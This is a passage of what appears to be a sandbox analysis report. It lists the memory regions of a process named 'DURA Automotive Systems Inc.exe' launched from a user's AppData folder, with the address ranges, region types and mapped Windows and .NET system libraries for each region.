Region:
	              id = 2036
	        start_va = 0x50000
	          end_va = 0x8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 2037
	        start_va = 0x90000
	          end_va = 0x93fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000090000"
	        filename = ""

Region:
	              id = 2038
	        start_va = 0xb0000
	          end_va = 0xeffff
	     entry_point = 0xb0000
	     region_type = mapped_file
	            name = "dura automotive systems inc.exe"
	        filename = "\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")

Region:
	              id = 2039
	        start_va = 0x2b0000
	          end_va = 0x3affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002b0000"
	        filename = ""

Region:
	              id = 2040
	        start_va = 0x77050000
	          end_va = 0x771f8fff
	     entry_point = 0x77050000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2041
	        start_va = 0x77230000
	          end_va = 0x773affff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 2042
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 2043
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 2044
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 2045
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 2046
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2047
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2048
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 2049
	        start_va = 0x1a0000
	          end_va = 0x21ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001a0000"
	        filename = ""

Region:
	              id = 2050
	        start_va = 0x400000
	          end_va = 0x433fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000400000"
	        filename = ""

Region:
	              id = 2051
	        start_va = 0x73960000
	          end_va = 0x73967fff
	     entry_point = 0x73960000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 2052
	        start_va = 0x73970000
	          end_va = 0x739cbfff
	     entry_point = 0x73970000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 2053
	        start_va = 0x739d0000
	          end_va = 0x73a0efff
	     entry_point = 0x739d0000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 2054
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2055
	        start_va = 0xf0000
	          end_va = 0x156fff
	     entry_point = 0xf0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2056
	        start_va = 0x4f0000
	          end_va = 0x5effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000004f0000"
	        filename = ""

Region:
	              id = 2057
	        start_va = 0x73910000
	          end_va = 0x73959fff
	     entry_point = 0x73910000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll")

Region:
	              id = 2058
	        start_va = 0x75960000
	          end_va = 0x75a6ffff
	     entry_point = 0x75960000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 2059
	        start_va = 0x768a0000
	          end_va = 0x768e5fff
	     entry_point = 0x768a0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 2060
	        start_va = 0x76e30000
	          end_va = 0x76f29fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000076e30000"
	        filename = ""

Region:
	              id = 2061
	        start_va = 0x76f30000
	          end_va = 0x7704efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000076f30000"
	        filename = ""

Region:
	              id = 2062
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2063
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2064
	        start_va = 0x290000
	          end_va = 0x29ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000290000"
	        filename = ""

Region:
	              id = 2065
	        start_va = 0x7b0000
	          end_va = 0x7bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000007b0000"
	        filename = ""

Region:
	              id = 2066
	        start_va = 0x7d0000
	          end_va = 0x80ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000007d0000"
	        filename = ""

Region:
	              id = 2067
	        start_va = 0x74d80000
	          end_va = 0x74d8bfff
	     entry_point = 0x74d80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 2068
	        start_va = 0x74d90000
	          end_va = 0x74deffff
	     entry_point = 0x74d90000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 2069
	        start_va = 0x74ec0000
	          end_va = 0x74faffff
	     entry_point = 0x74ec0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 2070
	        start_va = 0x755e0000
	          end_va = 0x7568bfff
	     entry_point = 0x755e0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 2071
	        start_va = 0x75690000
	          end_va = 0x7572ffff
	     entry_point = 0x75690000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 2072
	        start_va = 0x767f0000
	          end_va = 0x76808fff
	     entry_point = 0x767f0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 2073
	        start_va = 0x736f0000
	          end_va = 0x73769fff
	     entry_point = 0x736f0000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 2074
	        start_va = 0x240000
	          end_va = 0x27ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000240000"
	        filename = ""

Region:
	              id = 2075
	        start_va = 0x5f0000
	          end_va = 0x777fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005f0000"
	        filename = ""

Region:
	              id = 2076
	        start_va = 0x74df0000
	          end_va = 0x74ebbfff
	     entry_point = 0x74df0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 2077
	        start_va = 0x75730000
	          end_va = 0x7578ffff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 2078
	        start_va = 0x75790000
	          end_va = 0x7582cfff
	     entry_point = 0x75790000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 2079
	        start_va = 0x75830000
	          end_va = 0x75839fff
	     entry_point = 0x75830000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 2080
	        start_va = 0x758d0000
	          end_va = 0x7595ffff
	     entry_point = 0x758d0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 2081
	        start_va = 0x76ad0000
	          end_va = 0x76bcffff
	     entry_point = 0x76ad0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 2082
	        start_va = 0x76bd0000
	          end_va = 0x76c26fff
	     entry_point = 0x76bd0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 2087
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 2088
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 2089
	        start_va = 0xa0000
	          end_va = 0xa0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000a0000"
	        filename = ""

Region:
	              id = 2090
	        start_va = 0x810000
	          end_va = 0x990fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000810000"
	        filename = ""

Region:
	              id = 2091
	        start_va = 0x9a0000
	          end_va = 0x1d9ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000009a0000"
	        filename = ""

Region:
	              id = 2092
	        start_va = 0x1e70000
	          end_va = 0x1e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e70000"
	        filename = ""

Region:
	              id = 2093
	        start_va = 0x74670000
	          end_va = 0x7470afff
	     entry_point = 0x74670000
	     region_type = mapped_file
	            name = "msvcr80.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")

Region:
	              id = 2094
	        start_va = 0x74740000
	          end_va = 0x74ceafff
	     entry_point = 0x74740000
	     region_type = mapped_file
	            name = "mscorwks.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")

Region:
	              id = 2095
	        start_va = 0x160000
	          end_va = 0x160fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000160000"
	        filename = ""

Region:
	              id = 2096
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000170000"
	        filename = ""

Region:
	              id = 2097
	        start_va = 0x180000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 2098
	        start_va = 0x190000
	          end_va = 0x19ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000190000"
	        filename = ""

Region:
	              id = 2099
	        start_va = 0x220000
	          end_va = 0x22ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000220000"
	        filename = ""

Region:
	              id = 2100
	        start_va = 0x230000
	          end_va = 0x23ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000230000"
	        filename = ""

Region:
	              id = 2101
	        start_va = 0x280000
	          end_va = 0x28ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000280000"
	        filename = ""

Region:
	              id = 2102
	        start_va = 0x2a0000
	          end_va = 0x2affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002a0000"
	        filename = ""

Region:
	              id = 2103
	        start_va = 0x1f20000
	          end_va = 0x1f5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f20000"
	        filename = ""

Region:
	              id = 2104
	        start_va = 0x1fc0000
	          end_va = 0x20bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001fc0000"
	        filename = ""

Region:
	              id = 2105
	        start_va = 0x75b00000
	          end_va = 0x76749fff
	     entry_point = 0x75b00000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 2106
	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 2107
	        start_va = 0x3b0000
	          end_va = 0x3b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003b0000"
	        filename = ""

Region:
	              id = 2108
	        start_va = 0x20c0000
	          end_va = 0x238efff
	     entry_point = 0x20c0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2109
	        start_va = 0x74d20000
	          end_va = 0x74d2afff
	     entry_point = 0x74d20000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 2110
	        start_va = 0x75180000
	          end_va = 0x752dbfff
	     entry_point = 0x75180000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 2111
	        start_va = 0x440000
	          end_va = 0x4dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000440000"
	        filename = ""

Region:
	              id = 2112
	        start_va = 0x2390000
	          end_va = 0x438ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002390000"
	        filename = ""

Region:
	              id = 2113
	        start_va = 0x43c0000
	          end_va = 0x43fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000043c0000"
	        filename = ""

Region:
	              id = 2114
	        start_va = 0x4460000
	          end_va = 0x455ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004460000"
	        filename = ""

Region:
	              id = 2115
	        start_va = 0x72be0000
	          end_va = 0x736d7fff
	     entry_point = 0x72be0000
	     region_type = mapped_file
	            name = "mscorlib.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")

Region:
	              id = 2116
	        start_va = 0x7efd5000
	          end_va = 0x7efd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd5000"
	        filename = ""

Region:
	              id = 2117
	        start_va = 0x745f0000
	          end_va = 0x7466ffff
	     entry_point = 0x745f0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 2118
	        start_va = 0x4560000
	          end_va = 0x46effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004560000"
	        filename = ""

Region:
	              id = 2119
	        start_va = 0x4560000
	          end_va = 0x463efff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004560000"
	        filename = ""

Region:
	              id = 2120
	        start_va = 0x46b0000
	          end_va = 0x46effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000046b0000"
	        filename = ""

Region:
	              id = 2121
	        start_va = 0x3c0000
	          end_va = 0x3c2fff
	     entry_point = 0x3c0000
	     region_type = mapped_file
	            name = "l_intl.nls"
	        filename = "\\Windows\\SysWOW64\\l_intl.nls" (normalized: "c:\\windows\\syswow64\\l_intl.nls")

Region:
	              id = 2122
	        start_va = 0x3d0000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 2123
	        start_va = 0x3e0000
	          end_va = 0x3e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003e0000"
	        filename = ""

Region:
	              id = 2124
	        start_va = 0x74450000
	          end_va = 0x744aafff
	     entry_point = 0x74450000
	     region_type = mapped_file
	            name = "mscorjit.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")

Region:
	              id = 2136
	        start_va = 0x3f0000
	          end_va = 0x3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003f0000"
	        filename = ""

Region:
	              id = 2137
	        start_va = 0x4e0000
	          end_va = 0x4effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000004e0000"
	        filename = ""

Region:
	              id = 2138
	        start_va = 0x71e70000
	          end_va = 0x72a4dfff
	     entry_point = 0x71e70000
	     region_type = mapped_file
	            name = "system.windows.forms.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.forms\\3afcd5168c7a6cb02eab99d7fd71e102\\system.windows.forms.ni.dll")

Region:
	              id = 2139
	        start_va = 0x72a50000
	          end_va = 0x72bd7fff
	     entry_point = 0x72a50000
	     region_type = mapped_file
	            name = "system.drawing.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")

Region:
	              id = 2140
	        start_va = 0x73cb0000
	          end_va = 0x7444bfff
	     entry_point = 0x73cb0000
	     region_type = mapped_file
	            name = "system.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")

Region:
	              id = 2141
	        start_va = 0x780000
	          end_va = 0x78ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000780000"
	        filename = ""

Region:
	              id = 2142
	        start_va = 0x790000
	          end_va = 0x794fff
	     entry_point = 0x790000
	     region_type = mapped_file
	            name = "sorttbls.nlp"
	        filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp")

Region:
	              id = 2143
	        start_va = 0x1da0000
	          end_va = 0x1de0fff
	     entry_point = 0x1da0000
	     region_type = mapped_file
	            name = "sortkey.nlp"
	        filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp")

Region:
	              id = 2144
	        start_va = 0x73770000
	          end_va = 0x7390afff
	     entry_point = 0x73770000
	     region_type = mapped_file
	            name = "microsoft.visualbasic.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")

Region:
	              id = 2145
	        start_va = 0x74d30000
	          end_va = 0x74d46fff
	     entry_point = 0x74d30000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")

Region:
	              id = 2146
	        start_va = 0x74cf0000
	          end_va = 0x74d05fff
	     entry_point = 0x74cf0000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 2147
	        start_va = 0x73c70000
	          end_va = 0x73caafff
	     entry_point = 0x73c70000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 2148
	        start_va = 0x4640000
	          end_va = 0x467ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004640000"
	        filename = ""

Region:
	              id = 2149
	        start_va = 0x4770000
	          end_va = 0x486ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004770000"
	        filename = ""

Region:
	              id = 2150
	        start_va = 0x7efad000
	          end_va = 0x7efaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efad000"
	        filename = ""

Region:
	              id = 2151
	        start_va = 0x1eb0000
	          end_va = 0x1eeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001eb0000"
	        filename = ""

Region:
	              id = 2152
	        start_va = 0x4990000
	          end_va = 0x4a8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004990000"
	        filename = ""

Region:
	              id = 2153
	        start_va = 0x74720000
	          end_va = 0x7472dfff
	     entry_point = 0x74720000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll")

Region:
	              id = 2154
	        start_va = 0x7efaa000
	          end_va = 0x7efacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efaa000"
	        filename = ""

Region:
	              id = 2155
	        start_va = 0x7a0000
	          end_va = 0x7a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007a0000"
	        filename = ""

Region:
	              id = 2156
	        start_va = 0x1e10000
	          end_va = 0x1e4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e10000"
	        filename = ""

Region:
	              id = 2157
	        start_va = 0x48a0000
	          end_va = 0x48dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048a0000"
	        filename = ""

Region:
	              id = 2158
	        start_va = 0x4b80000
	          end_va = 0x4c7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004b80000"
	        filename = ""

Region:
	              id = 2159
	        start_va = 0x4c80000
	          end_va = 0x4d7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c80000"
	        filename = ""

Region:
	              id = 2160
	        start_va = 0x7efa4000
	          end_va = 0x7efa6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa4000"
	        filename = ""

Region:
	              id = 2161
	        start_va = 0x7efa7000
	          end_va = 0x7efa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa7000"
	        filename = ""

Region:
	              id = 2162
	        start_va = 0x76810000
	          end_va = 0x76892fff
	     entry_point = 0x76810000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")

Region:
	              id = 2163
	        start_va = 0x76750000
	          end_va = 0x767defff
	     entry_point = 0x76750000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 2164
	        start_va = 0x7c0000
	          end_va = 0x7c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007c0000"
	        filename = ""

Region:
	              id = 2165
	        start_va = 0x73c30000
	          end_va = 0x73c60fff
	     entry_point = 0x73c30000
	     region_type = mapped_file
	            name = "wbemdisp.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemdisp.dll")

Region:
	              id = 2166
	        start_va = 0x73bd0000
	          end_va = 0x73c2bfff
	     entry_point = 0x73bd0000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll")

Region:
	              id = 2167
	        start_va = 0x752e0000
	          end_va = 0x75314fff
	     entry_point = 0x752e0000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")

Region:
	              id = 2168
	        start_va = 0x77200000
	          end_va = 0x77205fff
	     entry_point = 0x77200000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")

Region:
	              id = 2169
	        start_va = 0x4d80000
	          end_va = 0x4f0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004d80000"
	        filename = ""

Region:
	              id = 2170
	        start_va = 0x46f0000
	          end_va = 0x475ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000046f0000"
	        filename = ""

Region:
	              id = 2171
	        start_va = 0x74710000
	          end_va = 0x74719fff
	     entry_point = 0x74710000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll")

Region:
	              id = 2172
	        start_va = 0x73bb0000
	          end_va = 0x73bc6fff
	     entry_point = 0x73bb0000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll")

Region:
	              id = 2173
	        start_va = 0x73ba0000
	          end_va = 0x73baefff
	     entry_point = 0x73ba0000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll")

Region:
	              id = 2441
	        start_va = 0x71dd0000
	          end_va = 0x71e65fff
	     entry_point = 0x71dd0000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll")

Region:
	              id = 2442
	        start_va = 0x73b80000
	          end_va = 0x73b97fff
	     entry_point = 0x73b80000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll")

Region:
	              id = 2443
	        start_va = 0x4d80000
	          end_va = 0x4e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004d80000"
	        filename = ""

Region:
	              id = 2444
	        start_va = 0x4ed0000
	          end_va = 0x4f0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ed0000"
